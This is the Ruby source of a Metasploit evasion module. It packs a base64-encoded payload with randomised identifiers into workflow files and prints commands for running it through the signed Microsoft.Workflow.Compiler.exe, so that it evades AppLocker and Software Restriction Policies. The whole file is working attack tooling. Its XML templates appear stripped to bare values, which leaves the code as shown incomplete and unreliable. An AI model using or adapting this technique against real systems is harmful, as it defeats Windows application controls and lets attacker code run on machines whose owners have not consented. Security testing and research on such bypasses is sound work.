## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Evasion def initialize(info = {}) super(update_info(info, 'Name' => 'Applocker Evasion - Microsoft Workflow Compiler', 'Description' => %( This module will assist you in evading Microsoft Windows Applocker and Software Restriction Policies. This technique utilises the Microsoft signed binaries Microsoft.Workflow.Compiler.exe to execute user supplied code. ), 'Author' => [ 'Nick Tyrer <@NickTyrer>', # module development 'Matt Graeber' # workflow_compiler bypass research ], 'License' => 'MSF_LICENSE', 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], 'Targets' => [['Microsoft Windows', {}]], 'References' => [['URL', 'https://posts.specterops.io/arbitrary-unsigned-code-execution-vector-in-microsoft-workflow-compiler-exe-3d9294bc5efb']]) ) register_options( [ OptString.new('XOML_FILE', [true, 'Filename for the .xoml file (default: workflow.xoml)', 'workflow.xoml']), OptString.new('XML_FILE', [true, 'Filename for the .xml file (default: workflow.xml)', 'workflow.xml']) ] ) deregister_options('FILENAME') end def build_payload Rex::Text.encode_base64(payload.encoded) end def obfu Rex::Text.rand_text_alpha 8 end def workflow_xoml esc = build_payload mod = [obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu] <<~HEREDOC HEREDOC end def workflow_xml <<~HEREDOC #{datastore['XOML_FILE']} false true false false -1 false false false CSharp HEREDOC end def file_format_filename(name = '') name.empty? ? @fname : @fname = name end def create_files f1 = datastore['XOML_FILE'].empty? ? 'workflow.xoml' : datastore['XOML_FILE'] f1 << '.xoml' unless f1.downcase.end_with?('.xoml') f2 = datastore['XML_FILE'].empty? ? 'workflow.xml' : datastore['XML_FILE'] f2 << '.xml' unless f2.downcase.end_with?('.xml') xoml_file = workflow_xoml xml_file = workflow_xml file_format_filename(f1) file_create(xoml_file) file_format_filename(f2) file_create(xml_file) end def instructions print_status "Copy #{datastore['XOML_FILE']} and #{datastore['XML_FILE']} to the target" if payload.arch.first == ARCH_X86 print_status "Execute using: C:\\Windows\\Microsoft.Net\\Framework\\[.NET Version]\\Microsoft.Workflow.Compiler.exe #{datastore['XML_FILE']} #{Rex::Text.rand_text_alpha 3}" else print_status "Execute using: C:\\Windows\\Microsoft.Net\\Framework64\\[.NET Version]\\Microsoft.Workflow.Compiler.exe #{datastore['XML_FILE']} #{Rex::Text.rand_text_alpha 3}" end end def run create_files instructions end end